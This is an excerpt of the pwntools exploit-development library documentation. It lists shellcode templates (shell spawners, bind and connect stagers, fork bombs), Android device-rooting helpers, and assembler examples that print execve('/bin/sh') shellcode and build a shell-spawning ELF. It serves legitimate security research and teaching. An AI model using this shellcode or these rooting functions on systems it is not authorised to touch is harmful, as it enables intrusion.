amd64.linux.fdatasync amd64.linux.findpeer amd64.linux.findpeersh amd64.linux.findpeerstager amd64.linux.flock amd64.linux.fork amd64.linux.forkbomb amd64.linux.forkexit amd64.linux.fstat amd64.linux.fstat64 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amd64.linux.mknod amd64.linux.mknodat amd64.linux.mlock amd64.linux.mlockall amd64.linux.mmap amd64.linux.mmap_rwx amd64.linux.mov amd64.linux.mprotect amd64.linux.mq_notify amd64.linux.mq_open amd64.linux.mq_timedreceive amd64.linux.mq_timedsend amd64.linux.mq_unlink amd64.linux.mremap amd64.linux.msync amd64.linux.munlock amd64.linux.munlockall amd64.linux.munmap amd64.linux.nanosleep amd64.linux.nice amd64.linux.open amd64.linux.openat amd64.linux.pause amd64.linux.pipe amd64.linux.pipe2 amd64.linux.poll amd64.linux.ppoll amd64.linux.prctl amd64.linux.pread amd64.linux.preadv amd64.linux.prlimit64 amd64.linux.profil amd64.linux.ptrace amd64.linux.push amd64.linux.putpmsg amd64.linux.pwrite amd64.linux.pwritev amd64.linux.read amd64.linux.read_upto amd64.linux.readahead amd64.linux.readdir amd64.linux.readfile amd64.linux.readinto amd64.linux.readlink amd64.linux.readlinkat amd64.linux.readloop amd64.linux.readn amd64.linux.readptr amd64.linux.readv amd64.linux.recv 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arm.android.mkdirat arm.android.mknod arm.android.mknodat arm.android.mlock arm.android.mlockall arm.android.mmap arm.android.mprotect arm.android.mq_notify arm.android.mq_open arm.android.mq_timedreceive arm.android.mq_timedsend arm.android.mq_unlink arm.android.mremap arm.android.msync arm.android.munlock arm.android.munlockall arm.android.munmap arm.android.nanosleep arm.android.nice arm.android.open arm.android.open_file arm.android.openat arm.android.pause arm.android.pipe arm.android.pipe2 arm.android.poll arm.android.ppoll arm.android.prctl arm.android.pread arm.android.preadv arm.android.prlimit64 arm.android.profil arm.android.ptrace arm.android.putpmsg arm.android.pwrite arm.android.pwritev arm.android.read arm.android.readahead arm.android.readdir arm.android.readlink arm.android.readlinkat arm.android.readv arm.android.recv arm.android.recvfrom arm.android.recvmmsg arm.android.recvmsg arm.android.remap_file_pages arm.android.rename arm.android.renameat arm.android.rmdir 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arm.android.stty arm.android.symlink arm.android.symlinkat arm.android.sync arm.android.sync_file_range arm.android.syscall arm.android.syslog arm.android.tee arm.android.time arm.android.timer_create arm.android.timer_delete arm.android.timer_getoverrun arm.android.timer_gettime arm.android.timer_settime arm.android.truncate arm.android.truncate64 arm.android.ulimit arm.android.umask arm.android.uname arm.android.unlink arm.android.unlinkat arm.android.unshare arm.android.ustat arm.android.utime arm.android.utimensat arm.android.utimes arm.android.vfork arm.android.vhangup arm.android.vmsplice arm.android.wait4 arm.android.waitid arm.android.waitpid arm.android.write arm.android.writev arm.crash arm.infloop arm.itoa arm.linux.accept arm.linux.access arm.linux.acct arm.linux.alarm arm.linux.bind arm.linux.brk arm.linux.cacheflush arm.linux.cat arm.linux.chdir arm.linux.chmod arm.linux.chown arm.linux.chroot arm.linux.clock_getres arm.linux.clock_gettime arm.linux.clock_nanosleep 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thumb.android.fdatasync thumb.android.findpeer thumb.android.findpeersh thumb.android.flock thumb.android.fork thumb.android.forkbomb thumb.android.forkexit thumb.android.fstat thumb.android.fstat64 thumb.android.fstatat64 thumb.android.fsync thumb.android.ftruncate thumb.android.ftruncate64 thumb.android.futimesat thumb.android.getcwd thumb.android.getegid thumb.android.geteuid thumb.android.getgid thumb.android.getgroups thumb.android.getitimer thumb.android.getpeername thumb.android.getpgid thumb.android.getpgrp thumb.android.getpid thumb.android.getpmsg thumb.android.getppid thumb.android.getpriority thumb.android.getresgid thumb.android.getresuid thumb.android.getrlimit thumb.android.getrusage thumb.android.getsid thumb.android.getsockname thumb.android.getsockopt thumb.android.gettimeofday thumb.android.getuid thumb.android.gtty thumb.android.ioctl thumb.android.ioperm thumb.android.iopl thumb.android.kill thumb.android.killparent thumb.android.lchown thumb.android.link thumb.android.linkat thumb.android.listen thumb.android.loader thumb.android.loader_append thumb.android.lseek thumb.android.lstat thumb.android.lstat64 thumb.android.madvise thumb.android.mincore thumb.android.mkdir thumb.android.mkdirat thumb.android.mknod thumb.android.mknodat thumb.android.mlock thumb.android.mlockall thumb.android.mmap thumb.android.mov thumb.android.mprotect thumb.android.mq_notify thumb.android.mq_open thumb.android.mq_timedreceive thumb.android.mq_timedsend thumb.android.mq_unlink thumb.android.mremap thumb.android.msync thumb.android.munlock thumb.android.munlockall thumb.android.munmap thumb.android.nanosleep thumb.android.nice thumb.android.open thumb.android.openat thumb.android.pause thumb.android.pipe thumb.android.pipe2 thumb.android.poll thumb.android.ppoll thumb.android.prctl thumb.android.pread thumb.android.preadv thumb.android.prlimit64 thumb.android.profil thumb.android.ptrace thumb.android.push thumb.android.putpmsg thumb.android.pwrite thumb.android.pwritev thumb.android.read thumb.android.readahead thumb.android.readdir thumb.android.readlink thumb.android.readlinkat thumb.android.readn thumb.android.readv thumb.android.recv thumb.android.recvfrom thumb.android.recvmmsg thumb.android.recvmsg thumb.android.remap_file_pages thumb.android.rename thumb.android.renameat thumb.android.rmdir thumb.android.sched_get_priority_max thumb.android.sched_get_priority_min thumb.android.sched_getaffinity thumb.android.sched_getparam thumb.android.sched_getscheduler thumb.android.sched_rr_get_interval thumb.android.sched_setaffinity thumb.android.sched_setparam thumb.android.sched_setscheduler thumb.android.sched_yield thumb.android.select thumb.android.sendfile thumb.android.sendfile64 thumb.android.setdomainname thumb.android.setgid thumb.android.setgroups thumb.android.sethostname thumb.android.setitimer thumb.android.setpgid thumb.android.setpriority thumb.android.setregid thumb.android.setresgid thumb.android.setresuid thumb.android.setreuid thumb.android.setrlimit thumb.android.setsid thumb.android.settimeofday thumb.android.setuid thumb.android.sh thumb.android.sigaction thumb.android.sigaltstack thumb.android.signal thumb.android.sigpending thumb.android.sigprocmask thumb.android.sigreturn thumb.android.sigsuspend thumb.android.splice thumb.android.stage thumb.android.stager thumb.android.stat thumb.android.stat64 thumb.android.stime thumb.android.stty thumb.android.symlink thumb.android.symlinkat thumb.android.sync thumb.android.sync_file_range thumb.android.syscall thumb.android.syslog thumb.android.tee thumb.android.time thumb.android.timer_create thumb.android.timer_delete thumb.android.timer_getoverrun thumb.android.timer_gettime thumb.android.timer_settime thumb.android.truncate thumb.android.truncate64 thumb.android.ulimit thumb.android.umask thumb.android.uname thumb.android.unlink thumb.android.unlinkat thumb.android.unshare thumb.android.ustat thumb.android.utime thumb.android.utimensat thumb.android.utimes thumb.android.vfork thumb.android.vhangup thumb.android.vmsplice thumb.android.wait4 thumb.android.waitid thumb.android.waitpid thumb.android.write thumb.android.writev thumb.crash thumb.infloop thumb.itoa thumb.linux.accept thumb.linux.access thumb.linux.acct thumb.linux.alarm thumb.linux.bind thumb.linux.bindsh thumb.linux.brk thumb.linux.cat thumb.linux.chdir thumb.linux.chmod thumb.linux.chown thumb.linux.chroot thumb.linux.clock_getres thumb.linux.clock_gettime thumb.linux.clock_nanosleep thumb.linux.clock_settime thumb.linux.clone thumb.linux.close thumb.linux.connect thumb.linux.connectstager thumb.linux.creat thumb.linux.dup thumb.linux.dup2 thumb.linux.dup3 thumb.linux.dupsh thumb.linux.echo thumb.linux.epoll_create thumb.linux.epoll_create1 thumb.linux.epoll_ctl thumb.linux.epoll_pwait thumb.linux.epoll_wait thumb.linux.execve thumb.linux.exit thumb.linux.faccessat thumb.linux.fallocate thumb.linux.fchdir thumb.linux.fchmod thumb.linux.fchmodat thumb.linux.fchown thumb.linux.fchownat thumb.linux.fcntl thumb.linux.fdatasync thumb.linux.findpeer thumb.linux.findpeersh thumb.linux.findpeerstager thumb.linux.flock thumb.linux.fork thumb.linux.forkbomb thumb.linux.forkexit thumb.linux.fstat thumb.linux.fstat64 thumb.linux.fstatat64 thumb.linux.fsync thumb.linux.ftruncate thumb.linux.ftruncate64 thumb.linux.futimesat thumb.linux.getcwd thumb.linux.getegid thumb.linux.geteuid thumb.linux.getgid thumb.linux.getgroups thumb.linux.getitimer thumb.linux.getpeername thumb.linux.getpgid thumb.linux.getpgrp thumb.linux.getpid thumb.linux.getpmsg thumb.linux.getppid thumb.linux.getpriority thumb.linux.getresgid thumb.linux.getresuid thumb.linux.getrlimit thumb.linux.getrusage thumb.linux.getsid thumb.linux.getsockname thumb.linux.getsockopt thumb.linux.gettimeofday thumb.linux.getuid thumb.linux.gtty thumb.linux.ioctl thumb.linux.ioperm thumb.linux.iopl thumb.linux.kill thumb.linux.killparent thumb.linux.lchown thumb.linux.link thumb.linux.linkat thumb.linux.listen thumb.linux.loader thumb.linux.loader_append thumb.linux.lseek thumb.linux.lstat thumb.linux.lstat64 thumb.linux.madvise thumb.linux.mincore thumb.linux.mkdir thumb.linux.mkdirat thumb.linux.mknod thumb.linux.mknodat thumb.linux.mlock thumb.linux.mlockall thumb.linux.mmap thumb.linux.mov thumb.linux.mprotect thumb.linux.mq_notify thumb.linux.mq_open thumb.linux.mq_timedreceive thumb.linux.mq_timedsend thumb.linux.mq_unlink thumb.linux.mremap thumb.linux.msync thumb.linux.munlock thumb.linux.munlockall thumb.linux.munmap thumb.linux.nanosleep thumb.linux.nice thumb.linux.open thumb.linux.openat thumb.linux.pause thumb.linux.pipe thumb.linux.pipe2 thumb.linux.poll thumb.linux.ppoll thumb.linux.prctl thumb.linux.pread thumb.linux.preadv thumb.linux.prlimit64 thumb.linux.profil thumb.linux.ptrace thumb.linux.push thumb.linux.putpmsg thumb.linux.pwrite thumb.linux.pwritev thumb.linux.read thumb.linux.readahead thumb.linux.readdir thumb.linux.readfile thumb.linux.readlink thumb.linux.readlinkat thumb.linux.readn thumb.linux.readv thumb.linux.recv thumb.linux.recvfrom thumb.linux.recvmmsg thumb.linux.recvmsg thumb.linux.recvsize thumb.linux.remap_file_pages thumb.linux.rename thumb.linux.renameat thumb.linux.rmdir thumb.linux.sched_get_priority_max thumb.linux.sched_get_priority_min thumb.linux.sched_getaffinity thumb.linux.sched_getparam thumb.linux.sched_getscheduler thumb.linux.sched_rr_get_interval thumb.linux.sched_setaffinity thumb.linux.sched_setparam thumb.linux.sched_setscheduler thumb.linux.sched_yield thumb.linux.select thumb.linux.sendfile thumb.linux.sendfile64 thumb.linux.setdomainname thumb.linux.setgid thumb.linux.setgroups thumb.linux.sethostname thumb.linux.setitimer thumb.linux.setpgid thumb.linux.setpriority thumb.linux.setregid thumb.linux.setresgid thumb.linux.setresuid thumb.linux.setreuid thumb.linux.setrlimit thumb.linux.setsid thumb.linux.settimeofday thumb.linux.setuid thumb.linux.sh thumb.linux.sigaction thumb.linux.sigaltstack thumb.linux.signal thumb.linux.sigpending thumb.linux.sigprocmask thumb.linux.sigreturn thumb.linux.sigsuspend thumb.linux.splice thumb.linux.stage thumb.linux.stager thumb.linux.stat thumb.linux.stat64 thumb.linux.stime thumb.linux.stty thumb.linux.symlink thumb.linux.symlinkat thumb.linux.sync thumb.linux.sync_file_range thumb.linux.syscall thumb.linux.syslog thumb.linux.tee thumb.linux.time thumb.linux.timer_create thumb.linux.timer_delete thumb.linux.timer_getoverrun thumb.linux.timer_gettime thumb.linux.timer_settime thumb.linux.truncate thumb.linux.truncate64 thumb.linux.ulimit thumb.linux.umask thumb.linux.uname thumb.linux.unlink thumb.linux.unlinkat thumb.linux.unshare thumb.linux.ustat thumb.linux.utime thumb.linux.utimensat thumb.linux.utimes thumb.linux.vfork thumb.linux.vhangup thumb.linux.vmsplice thumb.linux.wait4 thumb.linux.waitid thumb.linux.waitpid thumb.linux.write thumb.linux.writev thumb.memcpy thumb.mov thumb.nop thumb.popad thumb.push thumb.pushad thumb.pushstr thumb.pushstr_array thumb.ret thumb.setregs thumb.to_arm thumb.trap thumb.udiv_10

1.5.14 unhex

Decodes hex-encoded data provided on the command line or via stdin.

usage: unhex [-h] [hex [hex ...]]

`hex`
Hex bytes to decode

`-h, --help`
show this help message and exit

CHAPTER 2

Module Index

Each of the `pwntools` modules is documented here.

2.1 `pwnlib.adb` — Android Debug Bridge

Provides utilities for interacting with Android devices via the Android Debug Bridge.

class `pwnlib.adb.`**`AdbDevice`**(*serial*, *type*, *port*, *product='unknown'*, *model='unknown'*, *device='unknown'*)

Encapsulates information about a connected device.

`pwnlib.adb.`**`adb`**(*argv*, **a*, ***kw*)

Returns the output of an ADB subcommand.

`pwnlib.adb.`**`build`**()

Returns the Build ID of the device.

`pwnlib.adb.`**`compile`**(*source*)

Compile a source file or project with the Android NDK.

`pwnlib.adb.`**`devices`**(**a*, ***kw*)

Returns a list of `Device` objects corresponding to the connected devices.

`pwnlib.adb.`**`disable_verity`**()

Disables dm-verity on the device.

`pwnlib.adb.`**`fastboot`**(*args*, **a*, ***kw*)

Executes a fastboot command.

Returns The command output.

`pwnlib.adb.`**`find_ndk_project_root`**(*source*)

Given a directory path, find the topmost project root.

tl;dr “foo/bar/jni/baz.cpp” ==> “foo/bar”

`pwnlib.adb.`**`fingerprint`**()

Returns the device build fingerprint.

`pwnlib.adb.`**`forward`**(*port*)

Sets up a port to forward to the device.

`pwnlib.adb.`**`getprop`**(*name=None*)

Reads a properties from the system property store.

Parameters **`name`** (`str`) – Optional, read a single property.

Returns If `name` is not specified, a `dict` of all properties is returned. Otherwise, a string is returned with the contents of the named property.

`pwnlib.adb.`**`interactive`**`(`*`**kw`*`)`

Spawns an interactive shell.

`pwnlib.adb.`**`listdir`**`(`*`directory='/'`*`)`

Returns a list containing the entries in the provided directory.

Note: Because `adb shell` is used to retrieve the listing, shell environment variable expansion and globbing are in effect.

`pwnlib.adb.`**`logcat`**`(`*`*a`*, *`**kw`*`)`

Reads the system log file.

By default, causes logcat to exit after reading the file.

Parameters **`stream`** (*`bool`*) – If `True`, the contents are streamed rather than read in a one-shot manner. Default is `False`.

Returns If `stream` is `False`, returns a string containing the log data. Otherwise, it returns a `tube` connected to the log output.

`pwnlib.adb.`**`pidof`**`(`*`name`*`)`

Returns a list of PIDs for the named process.

`pwnlib.adb.`**`proc_exe`**`(`*`pid`*`)`

Returns the full path of the executable for the provided PID.

`pwnlib.adb.`**`process`**`(`*`argv`*, *`*a`*, *`**kw`*`)`

Execute a process on the device.

See `pwnlib.tubes.process.process` documentation for more info.

Returns A `process` tube.

`pwnlib.adb.`**`product`**`()`

Returns the device product identifier.

`pwnlib.adb.`**`pull`**`(`*`remote_path`*, *`local_path=None`*`)`

Download a file from the device.

Parameters

- **`remote_path`** (*`str`*) – Path or directory of the file on the device.
- **`local_path`** (*`str`*) – Path to save the file to. Uses the file's name by default.

`pwnlib.adb.`**`push`**`(`*`local_path`*, *`remote_path`*`)`

Upload a file to the device.

Parameters

- **`local_path`** (*`str`*) – Path to the local file to push.
- **`remote_path`** (*`str`*) – Path or directory to store the file on the device.

`pwnlib.adb.`**`read`**`(`*`*a`*, *`**kw`*`)`

Download a file from the device, and extract its contents.

Parameters

- **`path`** (*`str`*) – Path to the file on the device.

- **target** (*str*) – Optional, location to store the file. Uses a temporary file by default.

pwnlib.adb.**reboot**(*wait=True*)
Reboots the device.

pwnlib.adb.**reboot_bootloader**()
Reboots the device to the bootloader.

pwnlib.adb.**remount**()
Remounts the filesystem as writable.

pwnlib.adb.**root**()
Restarts adbd as root.

pwnlib.adb.**setprop**(*name*, *value*)
Writes a property to the system property store.

pwnlib.adb.**shell**(***kw*)
Returns an interactive shell.

pwnlib.adb.**unlock_bootloader**()
Unlocks the bootloader of the device.

Note: This requires physical interaction with the device.

pwnlib.adb.**unroot**()
Restarts adbd as AID_SHELL.

pwnlib.adb.**wait_for_device**(**a*, ***kw*)
Waits for a device to be connected.

pwnlib.adb.**which**(**a*, ***kw*)
Retrieves the full path to a binary in `PATH` on the device

pwnlib.adb.**write**(**a*, ***kw*)
Create a file on the device with the provided contents.

Parameters

- **path** (*str*) – Path to the file on the device
- **data** (*str*) – Contents to store in the file

2.2 `pwnlib.asm` — Assembler functions

Utilities for assembling and disassembling code.

2.2.1 Architecture Selection

Architecture, endianness, and word size are selected by using `pwnlib.context`.

Any parameters which can be specified to `context` can also be specified as keyword arguments to either `asm()` or `disasm()`.

2.2.2 Assembly

To assemble code, simply invoke `asm()` on the code to assemble.

```
>>> asm('mov eax, 0')
'\xb8\x00\x00\x00\x00'
```

Additionally, you can use constants as defined in the `pwnlib.constants` module.

```
>>> asm('mov eax, SYS_execve')
'\xb8\x0b\x00\x00\x00'
```

Finally, `asm()` is used to assemble shellcode provided by `pwntools` in the `shellcraft` module.

```
>>> asm(shellcraft.sh())
'jhh///sh/binj\x0bX\x89\xe31\xc9\x99\xcd\x80'
```

2.2.3 Disassembly

To disassemble code, simply invoke `disasm()` on the bytes to disassemble.

```
>>> disasm('\xb8\x0b\x00\x00\x00')
'   0:   b8 0b 00 00 00          mov    eax,0xb'
```

`pwnlib.asm.`**`asm`**(*code*, *vma = 0*, *extract = True*, *...*) → str

Runs `cpp()` over a given shellcode and then assembles it into bytes.

To see which architectures or operating systems are supported, look in `pwnlib.contex`.

To support all these architecture, we bundle the GNU assembler and objcopy with pwntools.

Parameters

- **`shellcode`** (`str`) – Assembler code to assemble.
- **`vma`** (`int`) – Virtual memory address of the beginning of assembly
- **`extract`** (`bool`) – Extract the raw assembly bytes from the assembled file. If `False`, returns the path to an ELF file with the assembly embedded.

Kwargs: Any arguments/properties that can be set on `context`

Examples

```
>>> asm("mov eax, SYS_select", arch = 'i386', os = 'freebsd')
'\xb8]\x00\x00\x00'
>>> asm("mov eax, SYS_select", arch = 'amd64', os = 'linux')
'\xb8\x17\x00\x00\x00'
>>> asm("mov rax, SYS_select", arch = 'amd64', os = 'linux')
'H\xc7\xc0\x17\x00\x00\x00'
>>> asm("mov r0, #SYS_select", arch = 'arm', os = 'linux', bits=32)
'R\x00\xa0\xe3'
```

`pwnlib.asm.`**`cpp`**(*shellcode*, *...*) → str

Runs CPP over the given shellcode.

The output will always contain exactly one newline at the end.

Parameters **`shellcode`** (`str`) – Shellcode to preprocess

Kwargs: Any arguments/properties that can be set on `context`

Examples

```
>>> cpp("mov al, SYS_setresuid", arch = "i386", os = "linux")
'mov al, 164\n'
>>> cpp("weee SYS_setresuid", arch = "arm", os = "linux")
'weee (0+164)\n'
>>> cpp("SYS_setresuid", arch = "thumb", os = "linux")
'(0+164)\n'
>>> cpp("SYS_setresuid", os = "freebsd")
'311\n'
```

`pwnlib.asm.`**`disasm`**(*data*, *...*) → str

Disassembles a bytestring into human readable assembler.

To see which architectures are supported, look in `pwnlib.contex`.

To support all these architecture, we bundle the GNU objcopy and objdump with pwntools.

Parameters

- **`data`** (*`str`*) – Bytestring to disassemble.
- **`vma`** (*`int`*) – Passed through to the –adjust-vma argument of objdump
- **`byte`** (*`bool`*) – Include the hex-printed bytes in the disassembly
- **`offset`** (*`bool`*) – Include the virtual memory address in the disassembly

Kwargs: Any arguments/properties that can be set on `context`

Examples

```
>>> print disasm('b85d000000'.decode('hex'), arch = 'i386')
   0:   b8 5d 00 00 00          mov    eax,0x5d
>>> print disasm('b85d000000'.decode('hex'), arch = 'i386', byte = 0)
   0:   mov    eax,0x5d
>>> print disasm('b85d000000'.decode('hex'), arch = 'i386', byte = 0, offset = 0)
mov    eax,0x5d
>>> print disasm('b817000000'.decode('hex'), arch = 'amd64')
   0:   b8 17 00 00 00          mov    eax,0x17
>>> print disasm('48c7c017000000'.decode('hex'), arch = 'amd64')
   0:   48 c7 c0 17 00 00 00    mov    rax,0x17
>>> print disasm('04001fe552009000'.decode('hex'), arch = 'arm')
   0:   e51f0004        ldr     r0, [pc, #-4]   ; 0x4
   4:   00900052        addseq  r0, r0, r2, asr r0
>>> print disasm('4ff00500'.decode('hex'), arch = 'thumb', bits=32)
   0:   f04f 0005       mov.w   r0, #5
>>>
```

`pwnlib.asm.`**`make_elf`**(**a*, ***kw*)

Builds an ELF file with the specified binary data as its executable code.

Parameters

- **`data`** (*`str`*) – Assembled code
- **`vma`** (*`int`*) – Load address for the ELF file

Examples

This example creates an i386 ELF that just does execve('/bin/sh',...).

```
>>> context.clear()
>>> context.arch = 'i386'
>>> context.bits = 32
>>> filename = tempfile.mktemp()
>>> bin_sh = '6a68682f2f2f73682f62696e89e331c96a0b5899cd80'.decode('hex')
>>> data = make_elf(bin_sh)
>>> with open(filename,'wb+') as f:
...     f.write(data)
...     f.flush()
>>> os.chmod(filename,0777)
>>> p = process(filename)
>>> p.sendline('echo Hello; exit')
>>> p.recvline()
'Hello\n'
```

pwnlib.asm.**make_elf_from_assembly**(**a*, ***kw*)

Builds an ELF file with the specified assembly as its executable code.

Parameters

- **assembly** (*str*) – Assembly
- **vma** (*int*) – Load address of the binary
- **extract** (*bool*) – Whether to return the data extracted from the file created, or the path to it.

Returns The path to the assembled ELF (extract=False), or the data of the assembled ELF.

Example

```
>>> context.clear()
>>> context.arch = 'amd64'
>>> sc = 'push rbp; mov rbp, rsp;'
>>> sc += shellcraft.echo('Hello\n')
>>> sc += 'mov rsp, rbp; pop rbp; ret'
>>> solib = make_elf_from_assembly(sc, shared=1)
>>> subprocess.check_output(['echo', 'World'], env={'LD_PRELOAD': solib})
'Hello\nWorld\n'
```

2.3 pwnlib.atexception — Callbacks on unhandled exception

Analogous to atexit, this module allows the programmer to register functions to be run if an unhandled exception occurs.

pwnlib.atexception.**register**(*func*, **args*, ***kwargs*)

Registers a function to be called when an unhandled exception occurs. The function will be called with positional arguments *args* and keyword arguments *kwargs*, i.e. `func(*args, **kwargs)`. The current *context* is recorded and will be the one used when the handler is run.

E.g. to suppress logging output from an exception-handler one could write:

```
with context.local(log_level = 'error'):
  atexception.register(handler)
```

An identifier is returned which can be used to unregister the exception-handler.

This function can be used as a decorator:

```
@atexception.register
def handler():
  ...
```

Notice however that this will bind `handler` to the identifier and not the actual exception-handler. The exception-handler can then be unregistered with:

```
atexception.unregister(handler)
```

This function is thread safe.

`pwnlib.atexception.`**`unregister`**`(`*func*`)`
Remove *func* from the collection of registered functions. If *func* isn't registered this is a no-op.

2.4 `pwnlib.atexit` — Replacement for atexit

Replacement for the Python standard library's atexit.py.

Whereas the standard `atexit` module only defines `atexit.register()`, this replacement module also defines *`unregister()`*.

This module also fixes a the issue that exceptions raised by an exit handler is printed twice when the standard `atexit` is used.

`pwnlib.atexit.`**`register`**`(`*func*, **args*, ***kwargs*`)`
Registers a function to be called on program termination. The function will be called with positional arguments *args* and keyword arguments *kwargs*, i.e. `func(*args, **kwargs)`. The current *context* is recorded and will be the one used when the handler is run.

E.g. to suppress logging output from an exit-handler one could write:

```
with context.local(log_level = 'error'):
  atexit.register(handler)
```

An identifier is returned which can be used to unregister the exit-handler.

This function can be used as a decorator:

```
@atexit.register
def handler():
  ...
```

Notice however that this will bind `handler` to the identifier and not the actual exit-handler. The exit-handler can then be unregistered with:

```
atexit.unregister(handler)
```

This function is thread safe.

`pwnlib.atexit.`**`unregister`**`(`*ident*`)`
Remove the exit-handler identified by *ident* from the list of registered handlers. If *ident* isn't registered this is a no-op.

2.5 `pwnlib.constants` — Easy access to header file constants

Module containing constants extracted from header files.

The purpose of this module is to provide quick access to constants from different architectures and operating systems.

The constants are wrapped by a convenience class that allows accessing the name of the constant, while performing all normal mathematical operations on it.

Example

```
>>> str(constants.freebsd.SYS_stat)
'SYS_stat'
>>> int(constants.freebsd.SYS_stat)
188
>>> hex(constants.freebsd.SYS_stat)
'0xbc'
>>> 0 | constants.linux.i386.SYS_stat
106
>>> 0 + constants.linux.amd64.SYS_stat
4
```

The submodule `freebsd` contains all constants for FreeBSD, while the constants for Linux have been split up by architecture.

The variables of the submodules will be "lifted up" by setting the `pwnlib.context.arch` or `pwnlib.context.os` in a manner similar to what happens in *`pwnlib.shellcraft`*.

Example

```
>>> with context.local(os = 'freebsd'):
...     print int(constants.SYS_stat)
188
>>> with context.local(os = 'linux', arch = 'i386'):
...     print int(constants.SYS_stat)
106
>>> with context.local(os = 'linux', arch = 'amd64'):
...     print int(constants.SYS_stat)
4
```

2.6 `pwnlib.context` — Setting runtime variables

`pwnlib.context.`**`context`** **= ContextType()**

Global `context` object, used to store commonly-used pwntools settings. In most cases, the context is used to infer default variables values. For example, *`pwnlib.asm.asm()`* can take an `os` parameter as a keyword argument. If it is not supplied, the `os` specified by `context` is used instead. Consider it a shorthand to passing `os=` and `arch=` to every single function call.

class `pwnlib.context.`**`ContextType`**(***kwargs*)

Class for specifying information about the target machine. Intended for use as a pseudo-singleton through the global variable `pwnlib.context.context`, available via `from pwn import *` as `context`.

The context is usually specified at the top of the Python file for clarity.

```
#!/usr/bin/env python
context.update(arch='i386', os='linux')
```

Currently supported properties and their defaults are listed below. The defaults are inherited from *pwnlib.context.ContextType.defaults*.

Additionally, the context is thread-aware when using *pwnlib.context.Thread* instead of `threading.Thread` (all internal `pwntools` threads use the former).

The context is also scope-aware by using the `with` keyword.

Examples

```
>>> context.clear()
>>> context.update(os='linux')
>>> context.os == 'linux'
True
>>> context.arch = 'arm'
>>> vars(context) == {'arch': 'arm', 'bits': 32, 'endian': 'little', 'os': 'linux'}
True
>>> context.endian
'little'
>>> context.bits
32
>>> def nop():
...   print pwnlib.asm.asm('nop').encode('hex')
>>> nop()
00f020e3
>>> with context.local(arch = 'i386'):
...   nop()
90
>>> from pwnlib.context import Thread as PwnThread
>>> from threading       import Thread as NormalThread
>>> with context.local(arch = 'mips'):
...     pwnthread = PwnThread(target=nop)
...     thread    = NormalThread(target=nop)
>>> # Normal thread uses the default value for arch, 'i386'
>>> _=(thread.start(), thread.join())
90
>>> # Pwnthread uses the correct context from creation-time
>>> _=(pwnthread.start(), pwnthread.join())
00000000
>>> nop()
00f020e3
```

class Thread(**args*, ***kwargs*)

Instantiates a context-aware thread, which inherit its context when it is instantiated. The class can be accessed both on the context module as *pwnlib.context.Thread* and on the context singleton object inside the context module as *pwnlib.context.context.Thread*.

Threads created by using the native :class‘threading‘.Thread‘ will have a clean (default) context.

Regardless of the mechanism used to create any thread, the context is de-coupled from the parent thread, so changes do not cascade to child or parent.

Saves a copy of the context when instantiated (at `__init__`) and updates the new thread's context before passing control to the user code via `run` or `target=`.

Examples

```
>>> context.clear()
>>> context.update(arch='arm')
>>> def p():
...     print context.arch
...     context.arch = 'mips'
...     print context.arch
>>> # Note that a normal Thread starts with a clean context
>>> # (i386 is the default architecture)
>>> t = threading.Thread(target=p)
>>> _=(t.start(), t.join())
i386
mips
>>> # Note that the main Thread's context is unchanged
>>> print context.arch
arm
>>> # Note that a context-aware Thread receives a copy of the context
>>> t = pwnlib.context.Thread(target=p)
>>> _=(t.start(), t.join())
arm
mips
>>> # Again, the main thread is unchanged
>>> print context.arch
arm
```

Implementation Details:

> This class implemented by hooking the private function `threading.Thread._Thread_bootstrap()`, which is called before passing control to `threading.Thread.run()`.
>
> This could be done by overriding `run` itself, but we would have to ensure that all uses of the class would only ever use the keyword `target=` for `__init__`, or that all subclasses invoke `super(Subclass.self).set_up_context()` or similar.

ContextType.**adb**

Returns an argument array for connecting to adb.

ContextType.**adb_host**

Sets the target host which is used for ADB.

This is useful for Android exploitation.

The default value is inherited from ANDROID_ADB_SERVER_HOST, or set to the default 'localhost'.

ContextType.**adb_port**

Sets the target port which is used for ADB.

This is useful for Android exploitation.

The default value is inherited from ANDROID_ADB_SERVER_PORT, or set to the default 5037.

ContextType.**arch**

Target binary architecture.

Allowed values are listed in *`pwnlib.context.ContextType.architectures`*.

Side Effects:

> If an architecture is specified which also implies additional attributes (e.g. 'amd64' implies 64-bit words, 'powerpc' implies big-endian), these attributes will be set on the context if a user has not

already set a value.

The following properties may be modified.

- bits
- endian

Raises AttributeError – An invalid architecture was specified

Examples

```
>>> context.clear()
>>> context.arch == 'i386' # Default architecture
True
```

```
>>> context.arch = 'mips'
>>> context.arch == 'mips'
True
```

```
>>> context.arch = 'doge'
Traceback (most recent call last):
 ...
AttributeError: arch must be one of ['aarch64', ..., 'thumb']
```

```
>>> context.arch = 'ppc'
>>> context.arch == 'powerpc' # Aliased architecture
True
```

```
>>> context.clear()
>>> context.bits == 32 # Default value
True
>>> context.arch = 'amd64'
>>> context.bits == 64 # New value
True
```

Note that expressly setting bits means that we use that value instead of the default

```
>>> context.clear()
>>> context.bits = 32
>>> context.arch = 'amd64'
>>> context.bits == 32
True
```

Setting the architecture can override the defaults for both endian and bits

```
>>> context.clear()
>>> context.arch = 'powerpc64'
>>> vars(context) == {'arch': 'powerpc64', 'bits': 64, 'endian': 'big'}
True
```

ContextType.**architectures = OrderedDict([(‘powerpc64’, {‘bits’: 64, ‘endian’: ‘big’}), (‘aarch64’, {‘bits’: 64, ‘en**

Keys are valid values for *pwnlib.context.ContextType.arch()*. Values are defaults which are set when *pwnlib.context.ContextType.arch* is set

ContextType.**aslr**

ASLR settings for new processes.

If False, attempt to disable ASLR in all processes which are created via personality (setarch -R) and setrlimit (ulimit -s unlimited).

The `setarch` changes are lost if a `setuid` binary is executed.

`ContextType.`**`binary`**

Infer target architecture, bit-with, and endianness from a binary file. Data type is a *`pwnlib.elf.ELF`* object.

Examples

```
>>> context.clear()
>>> context.arch, context.bits
('i386', 32)
>>> context.binary = '/bin/bash'
>>> context.arch, context.bits
('amd64', 64)
>>> context.binary
ELF('/bin/bash')
```

`ContextType.`**`bits`**

Target machine word size, in bits (i.e. the size of general purpose registers).

The default value is `32`, but changes according to `arch`.

Examples

```
>>> context.clear()
>>> context.bits == 32
True
>>> context.bits = 64
>>> context.bits == 64
True
>>> context.bits = -1
Traceback (most recent call last):
...
AttributeError: bits must be > 0 (-1)
```

`ContextType.`**`bytes`**

Target machine word size, in bytes (i.e. the size of general purpose registers).

This is a convenience wrapper around `bits / 8`.

Examples

```
>>> context.bytes = 1
>>> context.bits == 8
True
```

```
>>> context.bytes = 0
Traceback (most recent call last):
...
AttributeError: bits must be > 0 (0)
```

